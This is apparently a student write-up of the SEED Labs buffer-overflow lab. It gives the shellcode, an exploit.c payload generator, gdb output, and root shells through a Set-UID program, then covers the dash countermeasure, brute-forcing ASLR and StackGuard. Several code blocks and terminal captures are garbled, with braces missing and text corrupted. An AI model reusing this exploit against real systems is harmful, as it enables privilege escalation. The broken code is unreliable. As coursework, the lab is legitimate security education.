<u> Task 1 : Running Shellcode.</u>

After turning off all the mentioned Countermeasures, Since the executable stack is switched on, we get an access to the shell code since we copied the code to the buffer.

```
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$ ./shellCode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

$ ■
```

Task 2: Exploiting the Vulnerability.

With the Base Pointer address being found by the gdb, I could derive the buffer's starting address was 52 bytes after the base pointer. Which states the return address is 56 bytes with 4 additional bytes being the address of the base pointer. Using this, the shell code address is 461. Dividing this by 2 would take us to the middle of the NOP sled and it will slide upwards towards the shell code. And then this shell code is added to the end of the buffer starting from the location which is the size of the shell code bytes from the end of the buffer. And the return address is appended at the end. The entire code after making all the necessary modifications looks like this....

```
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
       "\x31\xc0" /* Line 1: xorl %eax,%eax */
                    /* Line 2: push! %eax */
       "\x68""//sh" /* Line 3: pushl $0x68732f2f */
       "\x68""/bin" /* Line 4: pushl $0x6e69622f */
       "\x89\xe3" /* Line 5: movl %esp,%ebx */
       "\x50"
                    /* Line 6: push! %eax */
                    /* Line 7: push! %ebx */
       "\x53"
       "\x89\xe1" /* Line 8: movl %esp,%ecx */
       "\x99"
                    /* Line 9: cdg */
       "\xb0\x0b" /* Line 10: movb $0x0b,%al */
       "\xcd\x80" /* Line 11: int $0x80 */
```

```
void main (int argc, char **argv) {
      char buffer[517];
      FILE *badfile;
      int sizeOfShellCode = sizeof(shellcode);
      memset(&buffer, 0x90, 517);
      printf("%d\n", sizeOfShellCode);
      *(buffer+56)=0x9f;
      *(buffer+57)=0xeb;
      *(buffer+58)=0xff;
      *(buffer+59)=0xbf;
      int end = sizeof(buffer)-sizeOfShellCode;
      for(int i=0;i<sizeOfShellCode;i++){
             buffer[end+i] = shellcode[i];
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
}
```

```
0xbfffead7 --> 0x90909090
        0x205
   07: 0x207

61: 0xb7f1c000 --> 0x1b1db0

01: 0xb7f1c000 --> 0x1b1db0

03P: 0xbfffece8 --> 0x0
    P: 0xbfffece8 --> 0x0
P: 0xbfffeag0 --> 0xbfffead7 --> 0x90909090
P: 0x804856f (<main+101>: call 0x80484eb <bof>)
LAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
     0x8048565 <main+91>: sub
0x8048568 <main+94>: lea
                                                   esp,0xc
                                                   eax,[ebp-0x211]
    0x804856e <main+100>: push
0x804856f <main+101>: call
0x8048574 <main+106>: add
0x8048577 <main+109>: sub
                                                     push eax call 0x80484eb <bof>
                                                     add esp,0x10
sub esp,0xc
push 0x804862a
    0x804857a <main+112>:
0x804857f <main+117>:
 Guessed arguments:
arg[0]: 0xbfffead7 --> 0x90909090
0000| 0xbfffea90 --> 0xbfffead7 --> 0x90909090
0004| 0xbfffea94 --> 0x1
0008| 0xbfffea98 --> 0x205
0012| 0xbfffea9c --> 0x804fa88 --> 0xfbad2488
0016| 0xbfffeaa0 --> 0xb7fff000 --> 0x23f3c
         0xbfffeaa4 --> 0xb7fe3e6
0xbfffeaa8 --> 0xd7d2e5
                                                     (<check_match+304>:
0020 j
                                                                                             add
                                                                                                         esp,0x10)
         0xbfffeaac --> 0x0
                  ie, data, rodata, value
Breakpoint 1, 0x0804856f in main ()
gdb-peda$ p $ebp
$1 = (void *) 0xbfffece8
gdb-peda$ ■
```

From the screenshot below we can see, the Set-UID is not set. Therefore the shell that is prompted above is of no use as there is no privileged access.

```
[01/28/20]seed@VM:~/Buffer Overflow$ ls -la
total 68
drwxrwxr-x
          2 seed seed 4096 Jan 28 01:18
drwxr-xr-x 29 seed seed 4096 Jan 27 16:15
           1 seed seed
                         517 Jan 28 01:18 badfile
rw-rw-r--
            1 seed seed 7600 Jan 28 01:18 exploit
rwxrwxr-x
            1 root root 1310 Jan 28 01:18 exploit.c
TW- T-- T--
            1 seed seed
                         388 Jan 28 01:17
rw-----
                                          .gdb history
           1 seed seed
                          20 Jan 28 01:16 peda-session-stack.txt
TW- TW- T--
           1 seed seed 7400 Jan 23 12:52 shellCode
rwxrwxr-x
           1 seed seed 7388 Jan 23 12:55 shellCodeAssembly
FWXFWXF-X
                         828 Jan 23 12:54 shellCodeAssembly.c
            1 seed seed
rw-rw-r--
                         154 Jan 23 12:51 shellCode.c
            1 seed seed
TW-TW-T--
            1 seed seed 7516 Jan 28 00:58 stack
rwxrwxr-x
                         565 Jan 27 22:45 stack.c
           1 seed seed
rw-rw-r--
01/28/20]seed@VM:~/Buffer_Overflow$
```

When we execute the same program with the Set-UID program, we get a privileged access where EUID being 0 is a testimony to it.

```
[01/28/20]seed@VM:~/Buffer Overflow$
[01/28/20]seed@VM:~/Buffer Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$ sudo chown root stack
[01/28/20]seed@VM:~/Buffer_Overflow$ sudo chmod 4755 stack
[01/28/20]seed@VM:~/Buffer_Overflow$ ls -la
total 68
              2 seed seed 4096 Jan 28 01:18
drwxrwxr-x
drwxr-xr-x 29 seed seed 4096 Jan 27 16:15
              1 seed seed 517 Jan 28 01:18 badfile
1 seed seed 7600 Jan 28 01:18 exploit
rw-rw-r--
rwxrwxr-x
              1 root root 1310 Jan 28 01:18 exploit.c
rw-r--r--
 rw-----
              1 seed seed
                              388 Jan 28 01:17 .gdb_history
                seed seed 20 Jan 28 01:16 peda-session-stack.txt
seed seed 7400 Jan 23 12:52 shellCode
seed seed 7388 Jan 23 12:55 shellCodeAssembly
seed seed 828 Jan 23 12:54 shellCodeAssembly.c
seed seed 154 Jan 23 12:51 shellCode.c
 TW-TW-T--
 rwxrwxr-x
 rwxrwxr-x
 rw-rw-r--
 rw-rw-r--
              1 seed seed
              1 root seed 7516 Jan 28 00:58 stack
1 seed seed 565 Jan 27 22:45 stack.c
rwsr-xr-x
rw-rw-r--
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer Overflow$ ./stack
 id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 3: Defeating dash's Countermeasure.

After changing the symbolic link to /bin/sh and running the program without uncommenting the line, we get the seed shell access.

```
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$ sudo ln -sf /bin/dash /bin/sh
[01/28/20]seed@VM:~/Buffer_Overflow$ subl dash_shell_test.c
[01/28/20]seed@VM:~/Buffer_Overflow$ gcc dash_shell_test.c -o dash_shell_test
[01/28/20]seed@VM:~/Buffer_Overflow$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ \[ \]
```

Result after uncommenting the line, we can see how powerful is setuid(0). Root shell is spawned just from the setuid program.


```
[01/28/20]seed@VM:-/Buffer_Overflow$ sudo ln -sf /bin/dash /bin/sh
[01/28/20]seed@VM:-/Buffer_Overflow$ sudo ln -sf /bin/dash /bin/sh
[01/28/20]seed@VM:-/Buffer_Overflow$ gcc dash_shell_test.c -o dash_shell_test
[01/28/20]seed@VM:-/Buffer_Overflow$ sudo chown root dash_shell_test
[01/28/20]seed@VM:-/Buffer_Overflow$ sudo chown root dash_shell_test
[01/28/20]seed@VM:-/Buffer_Overflow$ sudo chown 4755 dash_shell_test
[01/28/20]seed@VM:-/Buffer_Overflow$ sudo chown 4755 dash_shell_test
[01/28/20]seed@VM:-/Buffer_Overflow$ ./dash_shell_test
# is
/bin/sh: l: is: not found
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# I
```

After updating the shell code in the exploit.c file to include the Set-UID shell code. We get a root shell which makes the dash countermeasure inactive.

```
| 101/28/20|seed@WH:-/Buffer_Overflow$ gcc -o exploit exploit.c | 101/28/20|seed@WH:-/Buffer_Overflow$ /exploit | 101/28/20|seed@WH:-/Buffer_Overflow$ /exploit | 101/28/20|seed@WH:-/Buffer_Overflow$ | 101/28/20|se
```

Task 4: Defeating Address Space Location Resolution

After turning on the ASLR and running the bash script along with the Set-UID shell code, we can get the root shell. The program here ran for 53 seconds and 31380 times.



Task 5: Turn on StackGuard:

After turning the StackGuard and running the steps again, we can see the stackguard acts like a canary which detects the buffer overflow which detects the change in the canary, when the buffer is overwritten. It immediately returns the control with a message ~ *** stack smashing detected ***:

./stack terminated Aborted

```
01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$
[01/28/20]seed@VM:~/Buffer_Overflow$ gcc -DBUF_SIZE=44 -o stack -z execstack stack.c
[01/28/20]seed@VM:~/Buffer_Overflow$ sudo chown root stack
[01/28/20]seed@VM:~/Buffer_Overflow$ sudo chowd 4755 stack
[01/28/20]seed@VM:~/Buffer_Overflow$ ./exploit
[3]
[01/28/20]seed@VM:~/Buffer_Overflow$ ./stack
[*** stack smashing detected ***: ./stack terminated
[borted | 01/28/20]seed@VM:~/Buffer_Overflow$ []
```